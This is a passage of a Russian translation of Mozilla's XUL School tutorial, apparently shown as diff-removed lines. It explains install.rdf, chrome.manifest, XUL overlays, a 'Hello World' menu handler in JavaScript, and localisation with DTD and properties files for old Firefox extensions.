- &lt;/Description&gt;
-&lt;/em:localized&gt;</pre>
-</div>
-</div>
-
-<p>Строчка локали <em>ru-RU</em> указывает, что это русская (ru) локализация для России (RU). Вы можете добавить столько разделов &lt;<em>em:localized</em>&gt;, сколько вам нужно. Для Firefox 2, локализация этого файла <a href="/en/Localizing_extension_descriptions#Localizing_before_Gecko_1.9" title="/en/Localizing_extension_descriptions#Localizing_before_Gecko_1.9">немного сложнее</a>. Мы позже в этом разделе ещё обсудим локализацию.</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">&lt;em:type&gt;2&lt;/em:type&gt;</pre>
-</div>
-</div>
-
-<p>Это указывает, что устанавливаемое добавление является расширением. Вы можете прочитать о различных возможных типах в <a href="https://developer.Mozilla.org/en/Install_Manifests#type" title="https://developer.Mozilla.org/en/Install_Manifests#type">соответствующем разделе спецификации файла install.rdf</a>.</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">&lt;em:targetApplication&gt;
- &lt;Description&gt;
-  &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt;
-    &lt;em:minVersion&gt;4.0&lt;/em:minVersion&gt;
-    &lt;em:maxVersion&gt;10.*&lt;/em:maxVersion&gt;
-  &lt;/Description&gt;
-&lt;/em:targetApplication&gt;
-</pre>
-</div>
-</div>
-
-<p>Этот узел определяет целевое приложение и его целевые версии. В частности здесь указан интернет-обозреватель Firefox, начиная с 4-й и до 10-ых версий. Указанный UUID является уникальным идентификатором Firefox. Другие Mozilla и основанные на Mozilla приложения, такие как Thunderbird и Seamonkey имеют свои собственные UUID. У вас может быть расширение, работающее в нескольких приложениях и версиях.  Например, если вы создаёте расширение к Firefox, то, как правило, достаточно минимума усилий, чтобы перенести его в SeaMonkey, имеющее сходные характеристики и пользовательский интерфейс.</p>
-
-<p>Минимум и максимум определяют диапазон версий, дозволительный для установки расширения. Вот ещё <a href="/en/Toolkit_version_format" title="/en/Toolkit_version_format">ссылка о формате указания версий</a>. Если приложение или диапазон версий не совпадают, то пользователю не будет разрешено установить расширение или расширение будет установлено в отключённом состоянии. Пользователи могут отключить проверку версий в настройках интернет-обозревателя или путём установки дополнений через <a href="https://addons.Mozilla.org/en-US/Firefox/addon/15003" title="https://addons.Mozilla.org/en-US/Firefox/addon/15003">Докладчик о совместимости дополнений (Add-on Compatibility Reporter)</a>. Начиная с Firefox 11, дополнения по умолчанию будут совместимы, и Firefox в основном будет игнорировать диапазон версий. Всё-же рекомендуется всегда проверять дополнения с каждой новой версией Firefox.</p>
-
-<p>Это информация, нужная Firefox и другим приложениям Mozilla для установки дополнения. Любые ошибки или отсутствие информации приведут к сбою процесса установки или установке расширения в выключённом состоянии.</p>
-
-<h2 id="Файл_chrome.manifest">Файл chrome.manifest</h2>
-
-<blockquote>
-<p><span style="color: #0000ff;">Хром (Chrome) - это набор элементов пользовательского интерфейса окна приложения, находящихся за пределами области содержимого окна.</span> Панели инструментов, строки меню, индикаторы прогресса выполнения и заголовки окон - всё это примеры элементов, обычно являющихся частью Хрома.</p>
-</blockquote>
-
-<p>Взято из <a href="/en/Chrome_Registration" title="en/Chrome Registration">Регистрации Хрома</a>.</p>
-
-<p>В двух словах, хром - это всё, что вы видите в Firefox. Все окна Firefox можно рассматривать как состоящие из двух частей: (1) хром, (2) область возможного содержимого (то, что показывают веб-страницы во вкладках Firefox). Такие окна как "окно загрузок" - это чистый Хром.  Большая часть кода расширения находится в папке "хром", как и в примере "Hello World".</p>
-
-<p>Как мы видели в структуре каталогов распакованного расширения, Хром состоит из 3 разделов: <span style="color: #0000ff;">content (содержание)</span>, <span style="color: #0000ff;">locale (локаль, язык)</span> и <span style="color: #0000ff;">skin (тема)</span>. Эта троица необходима для большинства расширений. Если мы откроем файл <em>chrome.manifest</em> (опять же, сгодится любой текстовый редактор), то увидим, что указаны эти 3 секции:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">content   xulschoolhello              content/
-skin      xulschoolhello  classic/1.0 skin/
-locale    xulschoolhello  en-US       locale/en-US/
-</pre>
-</div>
-</div>
-
-<p><span style="color: #0000ff;">Файл <em>chrome.manifest</em> говорит Firefox, где искать файлы Хрома.</span> Текст расположен вразрядку, чтобы выглядел как таблица, но это не обязательно. Синтаксический анализатор (парсер, parser) игнорирует повторение пробелов.</p>
-
-<p>Первое слово в строке говорит Firefox, что именно объявляется (содержание, скин, локаль языка или другое, о чём будет рассказано позже).  Второе - это название пакета, о котором мы скоро расскажем.</p>
-
-<p>У скина и языков есть третье значение для указания, какой именно язык или какой именно скин они расширяют. Может быть несколько скинов и языков, касающихся различных других скинов и языков. Обычно указывают одну запись для глобального скина (<em>classic/1.0</em>) и несколько записей для языковых пакетов, по одному для каждого перевода. Наконец, последним указано расположение в файловой системе.</p>
-
-<p>В файл <em>chrome.manifest</em> могут быть внесены некоторые дополнительные параметры. Они описаны на <a href="/en/Chrome_Registration" title="/en/Chrome_Registration">странице Регистрации Chrome</a>. Примечательно, мы может включить записи, особенные для операционных систем. Это важно, потому что внешний вид браузера отличается в разных операционных системах., Если наше расширение должно выглядеть по-разному в разных ОС, то мы можем изменить файл манифеста, например, таким образом:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">content   xulschoolhello              content/
-skin      xulschoolhello  classic/1.0 skin/unix/
-skin      xulschoolhello  classic/1.0 skin/mac/ os=Darwin
-skin      xulschoolhello  classic/1.0 skin/win/ os=WinNT
-locale    xulschoolhello  en-US       locale/en-US/
-</pre>
-</div>
-</div>
-
-<p>Так, мы можем задать отдельные темы оформления для Windows, Mac OS X, и Linux (а также других Unix-систем), каждая из которых определена в отдельный каталог. Так как большинство других систем на основе Unix, то тема "Unix" указывается по умолчанию, без флагов.</p>
-
-<h2 id="Хром">Хром</h2>
-
-<p>Как сказано выше, Хром состоит из 3 разделов: содержание (контент), язык (локаль) и тема (скин). <em>Содержание </em>- это важнейший раздел, содержащий в себе пользовательский интерфейс (XUL) и скрипты (JS - JavaScript). Раздел <em>Скин </em>содержит файлы, определяющие большую часть внешнего вида пользовательского интерфейса (с помощью CSS и изображений, как у веб-страниц). Раздел <em>Язык</em> содержит все тексты, используемые в расширении, в DTD и в файлах свойств. Такое разделение позволяет другим разработчикам создавать темы, заменяющие скины, а переводчикам - создавать локализации на разных языках. И всё это - без необходимости изменения кода вашего расширения. Это даёт расширениям Firefox хорошую гибкость.</p>
-
-<p>Файлы Хрома доступны через <code>chrome</code>-протокол. Пример того, как выглядят URI Хрома:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">chrome:<span class="code-comment">//packagename/section/path/to/file</span></pre>
-</div>
-</div>
-
-<p>Так, например, если бы надо было получить доступ к файлу <em><strong>browserOverlay.xul</strong></em> в расширении, Хром-URI был бы:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">c<span class="external">hrome://xulschoolhello/content/browserOverlay.xul</span></pre>
-</div>
-</div>
-
-<p>Если у вас слишком много файлов в Содержании, и вы хотите организовать их в подкаталогах, не нужно ничего менять в <strong><em>chrome.manifest</em></strong>, а нужно, лишь добавить в URI правильный путь после <em><strong>content</strong></em>.</p>
-
-<p>Адресация к файлам Скина и Языка работает точно также, и вам не нужно указывать названий Скина или Языка. Так что, для получения доступа к файлу DTD в расширении "Привет мир", <code>chrome</code>-путь выглядит так: <code><em>chrome://xulschoolhello/locale/browserOverlay.dtd</em>. </code>Firefox сам знает какой язык нужно искать.</p>
-
-<p>Вот интересный эксперимент.  Откройте новую вкладку Firefox, вбейте в адресной строке: <em><code>chrome://mozapps/content/downloads/downloads.xul</code></em> и нажмите клавишу Enter. Удивлены? Вы только что открыли окно загрузок во вкладке Firefox! Вы можете получить доступ к любому файлу Хрома, просто введя его URI в адресной строке. Это может пригодиться, если вы захотите проверить файлы скриптов, являющихся частью Firefox, в своих или других расширениях. Большинство этих файлов открываются как текстовые, за исключением файлов XUL, которые выполняются и отображаются точно так как вы обычно видите их в окне.</p>
-
-<h3 id="Content_(Содержание)">Content (Содержание)</h3>
-
-<p>В каталоге "content" есть 2 файла. Давайте сначала посмотрим на файл XUL.</p>
-
-<p><a href="/en/XUL" title="/en/XUL">XUL</a> файлы - это XML-файлы, определяющие элементы пользовательского интерфейса в Firefox и его расширениях. Создание XUL был вдохновлено языком HTML, так что вы увидите много общего между ними. Однако, XUL по сравнению с HTML улучшен - в нём исправлены ошибки, допущенные в ходе эволюции HTML. XUL позволяет создавать интерфейсы намного богаче и интерактивнее, чем те, что можно создать с помощью HTML. Или, по крайней мере, XUL облегчает работу.</p>
-
-<p>Файлы XUL обычно определяют одно из двух: окна или наложения (оверлейные программы, накладки, слои). В файле <strong><em>downloads.xul</em></strong>, который вы до этого открывали, был код, определявший окно загрузок (Downloads). Файл XUL включён в расширение Hello World в качестве наложения. Наложение расширяет существующие окна, заменяя некоторые их элементы или добавляя новые. Строка, которую мы пропустили в файле <strong><em>chrome.manifest</em></strong> говорится, что этот файл XUL - наложение к главному окну интернет-обозревателя:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">overlay chrome:<span class="code-comment">//browser/content/browser.xul  chrome://xulschoolhello/content/browserOverlay.xul</span></pre>
-</div>
-</div>
-
-<p>С помощью этой строки, Firefox, узнаёт, что ему надо взять содержание <strong><em>browserOverlay.xul</em></strong> и наложить его на главное окно браузера - <strong><em>browser.xul</em></strong>. Вы можете объявлять наложения для любого окна или диалогового окна в Firefox, но наложение на основное окно браузера - самый распространённый случай на сегодняшний день.</p>
-
-<p>Теперь давайте посмотрим на содержимое нашего файла XUL. Мы пропустим первые несколько строк, потому что они связаны с Темой и Языком, и мы их рассмотрим позже.</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">&lt;overlay id="xulschoolhello-browser-overlay"
- xmlns="http://www.Mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;</pre>
-</div>
-</div>
-
-<p>Ключевой элемент в файле - наложение (оверлей) - <em>overlay</em>. Другие документы XUL используют тег <em>window</em> (окно) или <em>dialog</em> (диалог). У этого элемента есть уникальный идентификатор (id), который вы должны иметь в большинстве элементов в вашем XUL. Второй атрибут - это пространство имён, которое является тем, что вы всегда должны определять в корневом элементе своего XUL. Он говорит, что этот узел и все дочерние узлы являются XUL. Когда вы в одном документе смешиваете разные типы содержания, такие как XUL с HTML или SVG, вам надо только изменить объявления пространства имён.</p>
-
-<div class="panel" style="border-width: 1px;">
-<div class="panelContent">
-<div class="note">Вы могли заметить, что мы используем именование в нескольких местах, таких как идентификатор <strong><em>xulschoolhello-browser-overlay</em></strong>. Это стандартные пространства имён, которые мы используем, чтобы избежать конфликтов с Firefox и другими расширениями, а также упростить некоторые задачи разработки. Мы задаём пространство имён для всех идентификаторов и классов стилей в элементах этого наложения, потому что они будут смешаны с другими элементами в главном окне интернет-обозревателя. Если бы мы использовали общие идентификаторы, как <strong>container</strong> (<em>"контейнер"</em>) или <strong>input</strong> (<em>"ввод"</em>), то они, скорее всего, конфликтовали бы с идентификаторами использующимися в Firefox, или идентификаторами из других наложений расширений. Использование пространства имён позволяет минимизировать проблемы совместимости с другими расширениями. Мы используем <a href="http://ru.wikipedia.org/wiki/CamelCase" title="http://ru.wikipedia.org/wiki/CamelCase">ВерблюжийРегистр (CamelCase)</a> для имён файлов, и пишем всё в нижнем регистре с тире для элементов идентификаторов и для имён класса стиля CSS, но вы можете использовать свою собственную систему.</div>
-</div>
-</div>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">&lt;script type=<span class="code-quote">"application/x-javascript"</span>
- src=<span class="code-quote">"chrome:<span class="code-comment">//xulschoolhello/content/browserOverlay.js"</span> /&gt;</span></pre>
-</div>
-</div>
-
-<p>Как и в HTML, он включает в себя файл сценария на языке JavaScript. Вы можете вставить столько элементов <strong><em>script</em></strong> (сценарий) в документ XUL, сколько вам нужно. Мы позже рассмотрим его код.</p>
-
-<div class="panel" style="border-width: 1px;">
-<div class="panelContent">
-<div class="note">Возможно вы заметили как сформатирован наш код, и удивились правилам, которым мы следуем. Наше главное правило - длина строки не более 80 символов. Это кажется чрезмерно строгим, особенно с XML-файлами, но это число было выбрано, чтобы позволить почти любому текстовому редактору легко обрабатывать эти файлы. Даже старые редакторы для командной строки работают с файлами, в которых строки сокращены до 80 символов. Табуляция проста: 2 пробельных отступа. Мы никогда не используем настоящие символы табуляции, за исключением файлов <strong><em>Makefile</em></strong>, которые будут рассмотрены позже. Большинство наших стандартов кодирования основаны на стандартах Mozilla или других известных и используемых стандартах.</div>
-</div>
-</div>
-
-<p>Мы пропустим код, который рассматривается в разделе Языка (локали), перейдя к наиболее важной части содержания:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">&lt;menubar id="main-menubar"&gt;
- &lt;menu id="xulschoolhello-hello-menu" label="&amp;xulschoolhello.hello.label;"
- accesskey="&amp;xulschoolhello.helloMenu.accesskey;" insertafter="helpMenu"&gt;
- &lt;menupopup&gt;
- &lt;menuitem id="xulschoolhello-hello-menu-item"
- label="&amp;xulschoolhello.hello.label;"
- accesskey="&amp;xulschoolhello.helloItem.accesskey;"
- oncommand="XULSchoolChrome.BrowserOverlay.sayHello(event);" /&gt;
- &lt;/menupopup&gt;
- &lt;/menu&gt;
-&lt;/menubar&gt;
-
-&lt;vbox id="appmenuSecondaryPane"&gt;
-  &lt;menu id="xulschoolhello-hello-menu-2" label="&amp;xulschoolhello.hello.label;"
-    accesskey="&amp;xulschoolhello.helloMenu.accesskey;"
-    insertafter="appmenu_addons"&gt;
-    &lt;menupopup&gt;
-      &lt;menuitem id="xulschoolhello-hello-menu-item-2"
-        label="&amp;xulschoolhello.hello.label;"
-        accesskey="&amp;xulschoolhello.helloItem.accesskey;"
-        oncommand="XULSchoolChrome.BrowserOverlay.sayHello(event);" /&gt;
-    &lt;/menupopup&gt;
-  &lt;/menu&gt;
-&lt;/vbox&gt;
-</pre>
-</div>
-</div>
-
-<p>Это код, добавляющий меню "Привет, Мир!" в окно интернет-обозревателя. Тут два почти одинаковых блока кода из-за того, как Firefox сейчас обрабатывает меню. Раньше было так, что на всех платформах была панель с обширным меню. Это изменилось в последней версии Firefox, в частности, в Windows, где видна одна кнопка Firefox, с единым и упрощённым меню опций. Нажатие на кнопку ALT в Windows переключает между кнопкой меню и классическим меню.  Второй блок кода применяется в случае, кнопки меню, а первый блок кода охватывает все остальные случаи. Так как кнопка меню теперь наиболее распространена, мы сосредоточимся на ней.</p>
-
-<p>Для того, чтобы написать этот код, нам нужны некоторые знания кода XUL в файле <strong><em>browser.xul</em></strong>. Нам нужно знать, что идентификатор (id) правой панели в едином меню - это <strong><em>appmenuSecondaryPane</em></strong>.  Мы добавляем собственное меню, и говорим Firefox, добавить его в ту панель, сразу после  пункта "Add-ons" ("Дополнения"). Пример:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">insertafter=<span class="code-quote">"appmenu_addons"</span>
-</pre>
-</div>
-</div>
-
-<p><strong><em>appmenu_addons</em></strong> -  это идентификатор (id) элемента меню, который соответствует пункту "Дополнения" ("Add-ons") в главном меню. Позже мы увидим, как можно узнать такие штуки, типа идентификаторов элементов браузера, но сейчас давайте посмотрим на те элементы, которые составляют меню "Hello World".</p>
-
-<p>Для классического меню мы добавили меню "Привет мир" прямо в "корень" этого меню, так, чтоб вам было легче его заметить, но так поступать не рекомендуется. Представьте себе, что все расширения станут добавлять пункты меню в главное меню; тогда при установке нескольких расширений этот подход сделает его похожим на приборную панель самолёта, полную ручек и переключателей. В случае единого меню, всё немного сложнее в связи с отсутствием вариантов., Если пункт меню помещается в раздел "Web Developer" ("Веб-разработчик"), то рекомендуется добавить его туда. В противном случае, "Главное меню" может быть единственным выходом.</p>
-
-<p>Одно рекомендуемое место для пунктов меню в классической нише меню - под меню "Инструменты" ("Tools"), так что на самом деле код должен выглядеть так:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">&lt;menupopup id=<span class="code-quote">"menu_ToolsPopup"</span>&gt;
-  &lt;menu id=<span class="code-quote">"xulschoolhello-hello-menu"</span> label=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.hello.label;"</span>
-    accesskey=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.helloMenu.accesskey;"</span>
-  insertbefore=<span class="code-quote">"</span>devToolsEndSeparator<span class="code-quote">"</span>&gt;
-   &lt;menupopup&gt;
-      &lt;menuitem id=<span class="code-quote">"</span><span class="code-quote">xulschoolhello</span><span class="code-quote">-hello-menu-item"
- </span>  label=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.hello.label;"</span>
-        accesskey=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.helloItem.accesskey;"</span>
-        oncommand=<span class="code-quote">"XULSchoolChrome.BrowserOverlay.sayHello(event);"</span> /&gt;
-    &lt;/menupopup&gt;
-  &lt;/menu&gt;
-&lt;/menupopup&gt;
-</pre>
-</div>
-</div>
-
-<p>Мы накладываем меню, которое глубже в дереве XUL, но это не важно, потому что всё, что нам нужно - это идентификатор (id) элемента, на который мы хотим наложить свой код. В данном случае это элемент <strong><a href="/en/XUL/menupopup" title="/en/XUL/menupopup">menupopup</a></strong>, находящийся внутри элемента "Инструменты" (<strong>"Tools"</strong>) в <a href="/en/XUL/menu" title="/en/XUL/menu">menu</a> ("меню"). Атрибут <strong><em>"InsertBefore"</em></strong> диктует Firefox добавить меню в нижнюю часть раздела инструментов разработчика, над его конечным разделителем. Далее в учебнике мы поговорим о меню подробнее.</p>
-
-<p>Теперь давайте посмотрим на действительный код:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">oncommand=<span class="code-quote">"XULSchoolChrome.BrowserOverlay.sayHello(event);"</span>
-</pre>
-</div>
-</div>
-
-<p>Этот атрибут определяет обработчик события. Команда <strong><em>"event"</em></strong> (<em>"событие"</em>) - наиболее часто используется в Firefox, так как она соответствует главному действию для большинства элементов пользовательского интерфейса. значение этого атрибута - код на JavaScript, вызывающий функцию. Эта функция определена в JS-файле, включенном ранее тегом <strong><em>"script"</em></strong>. JS-функция будет вызвана, когда пользователь нажмёт на пункт меню <strong><em>"Привет Мир"</em></strong> (<em>"Hello World"</em>). Все обработчики событий, назначают специальный объект под названием <strong><em>"event"</em></strong> (<em>"событие"</em>), который обычно передаётся в качестве аргумента функции. Более подробно обработчики событий описаны ниже.</p>
-
-<p>Теперь давайте взглянем на файл JavaScript и посмотрим, что происходит, когда срабатывает событие.</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="brush: js">/**
- * XULSchoolChrome namespace.
- */
-if ("undefined" == typeof(XULSchoolChrome)) {
- var XULSchoolChrome = {};
-};</pre>
-</div>
-</div>
-
-<p>Определяется пространство имён <strong><em>"XULSchoolChrome"</em></strong>. Все объекты и переменные, которые мы определяем в этом JavaScript носят всеобъемлющий характер, это означает, что скрипты в Firefox и других расширениях могут увидеть их и взаимодействовать с ними. Это также значит, что, если мы определим объект под названием <strong><em>"MenuHandler"</em></strong> (<em>"ОбработчикСобытияМеню"</em>) или с иным типичным названием, то он, скорее всего, будет конфликтовать с существующим объектом. Так что, нам остаётся здесь сделать - это определить единый всеобъемлющий объект: <strong><em>"XULSchoolChrome"</em></strong>. Теперь мы знаем, что все наши объекты находятся внутри этого объекта, который вряд ли будет продублирован или переписан другими расширениями.</p>
-
-<p>Вы можете прочитать больше об <a href="/en/JavaScript/Reference/Operators/typeof" title="/en/JavaScript/Reference/Operators/typeof">операторе "typeof"</a>. Если вы не знакомы с JavaScript или с этим синтаксисом, то вам будет интересно узнать, что инициализация объекта сочетанием фигурных скобок <strong><em>"{}"</em></strong> эквивалентна его инициализации строкой <strong><em>"new Object()"</em></strong>.</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="brush: js">/**
- * Controls the browser overlay <span class="code-keyword">for</span> the Hello World extension.
- */
-XULSchoolChrome.BrowserOverlay = {</pre>
-</div>
-</div>
-
-<p>Наконец, <strong><em>BrowserOverlay</em></strong> - это наш объект. Именование и обращение к объектам таким длинным и подробным образом могут показаться поначалу некомфортными, но это оправдано.</p>
-
-<div class="panel" style="border-width: 1px;">
-<div class="panelContent">
-<div class="note">Мы используем стиль описания <a href="http://java.sun.com/j2se/javadoc/writingdoccomments/index.html" title="http://java.sun.com/j2se/javadoc/writingdoccomments/index.html">Javadoc</a> во всех пространствах имён, объектах, а также членах объекта. Это такой же стандарт, как используется в коде Mozilla и некоторых инструментах, могущих автоматически порождать документацию из Javadoc.</div>
-</div>
-</div>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="brush: js">sayHello : function(aEvent) {
- let stringBundle = document.getElementById("xulschoolhello-string-bundle");
- let message = stringBundle.getString("xulschoolhello.greeting.label");
-
- window.alert(message);
-}</pre>
-</div>
-</div>
-
-<p>Объявление нашей функции. Три строки кода - это всё, что нужно для её работы. Первая строка в теле функции объявляет переменную <strong><em>"stringBundle"</em></strong>, которая будет содержать элемент <strong><a href="/en/XUL/stringbundle" title="/en/XUL/stringbundle">stringbundle</a></strong>, определённый в наложении. Переменная объявляется с помощью оператора <strong><em>"let"</em></strong> ("пусть"), похожего на <strong><em>var</em></strong>, но с более ограниченной областью. <a href="/en/JavaScript/Reference/Statements/let" title="/en/JavaScript/Reference/Statements/let">здесь</a> вы можете подробнее прочитать об <strong>объявлении let</strong>.</p>
-
-<p>Для управления документом XUL, как и в обычном JS, мы можем использовать <a href="/en/DOM" title="/en/DOM"><strong>DOM</strong> <em>(Document Object Model)</em></a>. Сначала мы получаем ссылку на <strong><em><a href="/en/XUL/stringbundle" title="/en/XUL/stringbundle">элемент stringbundle</a></em></strong> в документе. Это специальный элемент, позволяющий динамически получать переведённые на нужный язык (локализованные) строки по предоставлении ему лишь "ключа", идентифицирующего текст. Это как-раз то, что мы делаем во второй строке кода. Мы вызываем <strong><em><a href="/en/XUL/stringbundle#m-getString" title="/en/XUL/stringbundle#m-getString">метод getString</a></em></strong> элемента связки и получаем переведённое на нужный язык сообщение для показа. Затем мы вызываем функцию <a href="/en/DOM/window.alert" title="/en/DOM/window.alert"><strong><em>"window.alert"</em></strong></a> с сообщением - так же, как мы могли бы это сделать в HTML-документе.</p>
-
-<h3 id="Локаль">Локаль</h3>
-
-<p>Есть два типа файлов перевода интерфейса (далее - локализации, на правах устоявшегося термина) на нужные языки: DTD и свойства. В этом примере мы используем оба типа. DTD - наиболее эффективный способ показа текста в XUL, поэтому вы должны по возможности использовать именно его. Он весьма негибкий и поэтому он не может быть использован для динамически создаваемого текста, поэтому нужен альтернативный способ получения локализованных строк.</p>
-
-<p>Оглядываясь на код меню, вы, вероятно, заметили, некоторые атрибуты, вроде этих:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">label=<span class="code-quote">"&amp;xulschoolhello.hello.label;"</span> accesskey=<span class="code-quote">"&amp;xulschoolhello.helloItem.accesskey;"</span></pre>
-</div>
-</div>
-
-<p>Эти атрибуты определяют текст, который вы видите в меню, и они являются строковыми ключами, определёнными в нашем DTD файле <strong><em>"browserOverlay.dtd"</em></strong>. Файл DTD был вовлечён в файле XUL таким кодом:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">&lt;!DOCTYPE overlay SYSTEM "chrome://xulschoolhello/locale/browserOverlay.dtd" &gt;</pre>
-</div>
-</div>
-
-<p>И в файле DTD можно увидеть связь между ключами и локализованными строками:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">&lt;!ENTITY xulschoolhello.hello.label            <span class="code-quote">"Hello World!"</span>&gt;
-&lt;!ENTITY xulschoolhello.helloMenu.accesskey    <span class="code-quote">"l"</span>&gt;
-&lt;!ENTITY xulschoolhello.helloItem.accesskey    <span class="code-quote">"H"</span>&gt;</pre>
-</div>
-</div>
-
-<p>Обратите внимание, что в файле XUL вы накладываете строковый ключ между амперсандом "<span style="color: #0000ff;"><strong>&amp;</strong></span>" и точкой с запятой "<span style="color: #0000ff;"><strong>;</strong></span>", в то время как в файле DTD вы только указываете ключ. Вы можете получить непредсказуемые ошибки синтаксического разбора (парсинга) или неправильную локализацию, если не укажете это правильно.</p>
-
-<p>Клавиши быстрого доступа (также известны как "горячие клавиши". прим. пер.) - это ссылки, позволяющие вам быстро перемещаться по меню, используя только клавиатуру. Они также являются единственным способом навигации по меню для людей с ограниченными возможностями, такими, как частичная или полная слепота, или физическими недостатками, с которыми трудно или невозможно пользоваться мышью. Вы можете легко узнать горячую клавишу быстрого доступа в Windows, так как буква, соответствующая горячей клавише указывается, как на рисунке ниже (буква подчеркнута):</p>
-
-<div>
-<p><img alt="" class="internal" src="https://developer.mozilla.org/@api/deki/files/4226/=accesskeys.png" style="height: 58px; width: 167px;"></p>
-</div>
-
-<p>У большинства средств управления пользовательским интерфейсом есть атрибут <strong><em>"accesskey"</em></strong> ("клавиша быстрого доступа"), и его надо использовать. Значение клавиши доступа локализовано - привязано к языковому набору, потому что оно должно соответствовать букве в тексте названия пункта меню. Вам надо также делать всё возможное, чтобы избежать повторения горячей клавиши. Например, они не должны повторяться в пределах меню или подменю. В окне нужно особенно осторожно выбирать клавиши доступа, потому что там обычно ещё больше других средств управления. И особенно внимательно выбирайте клавиши доступа для наложения (Overlay). В нашем случае (в английской версии - прим. пер.) мы не можем использовать английскую букву "H" в качестве горячей клавиши в главном пункте меню, потому что это было бы то же самое как клавиша доступа в Меню "Help" ("помощь"). То же самое с буквой "W" и меню "Window" ("Окно") в Операционной системе "Mac OS". Так что мы остановились на букве "l".</p>
-
-<p>Значения для строк DTD проставляются тогда, когда документ загружается. Если вы запросите значение атрибута <strong><em>"label"</em></strong> у меню "Привет мир!", используя DOM, то вы получите локализованную строку, а не строку ключа. Вы не можете динамически изменять значение атрибута с новым DTD ключом, но можете установить новое значение:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="brush: js">let helloItem = document.getElementById(<span class="code-quote">"xulschoolhello-hello-menu-item"</span>);
-
-<span class="code-comment">// The alert will say <span class="code-quote">"Hello World!"</span>
-</span>alert(helloItem.getAttribute(<span class="code-quote">"label"</span>));
-<span class="code-comment">// Wrong
-</span>helloItem.setAttribute(<span class="code-quote">"label"</span>, <span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.hello2.label;"</span>);
-<span class="code-comment">// Better
-</span>helloItem.setAttribute(<span class="code-quote">"label"</span>, <span class="code-quote">"Alternate message"</span>);
-<span class="code-comment">// Right!
-</span>helloItem.setAttribute(<span class="code-quote">"label"</span>, someStringBundle.getString(<span class="code-quote">"</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.hello2.label"</span>));</pre>
-</div>
-</div>
-
-<p>По этой причине строки DTD - не универсальное решение на все случаи локализации, и по этой причине часто нам нужно включать связки строк в файлы XUL:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">&lt;stringbundleset id="stringbundleset"&gt;
- &lt;stringbundle id="xulschoolhello-string-bundle"
- src="chrome://xulschoolhello/locale/browserOverlay.properties" /&gt;
-&lt;/stringbundleset&gt;</pre>
-</div>
-</div>
-
-<p>Элемент <strong><em><a href="/en/XUL/stringbundleset" title="/en/XUL/stringbundleset">"stringbundleset"</a></em></strong> (<em>"строкСвязкаНабор"</em>) - это просто вместилище для элементов <strong><em><a href="/en/XUL/stringbundle" title="/en/XUL/stringbundle">"stringbundle"</a></em></strong> (строкСвязка). В документе должна быть только одна причина, по которой мы накладываем <strong><em>"stringbundleset"</em></strong>, находящийся в <strong><em>"browser.xul"</em></strong>, отсюда очень общий идентификатор (<strong><em>"id"</em></strong>). Мы не включили атрибуты <strong><em>"insertbefore"</em></strong> ("вставитьПеред") или <strong><em>"insertafter"</em></strong> ("вставитьПосле"), потому что порядок следования связок строк не имеет значения. Элемент абсолютно невидим. Если вы не включите ни одного из атрибутов, задающих очерёдность в элементе накладки, то Firefox просто приложит ваш элемент в качестве последнего потомка родительского элемента.</p>
-
-<p>Всё, что нужно для "связки строк" (string bundle) - это идентификатор (чтобы иметь возможность получить элемент позже) и <code>chrome</code>-путь к файлу свойств. И, конечно, нужен сам файл свойств:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">xulshoolhello.greeting.label = Hi! How are you?</pre>
-</div>
-</div>
-
-<p>Пробелы около знака равенства игнорируются. Так же, как в <strong><em>install.rdf</em></strong>, комментарии могут быть добавлены с помощью символа "<span style="color: #0000ff;"><strong>#</strong></span>" в начале строки с комментарием.  Пустые строки тоже игнорируются.</p>
-
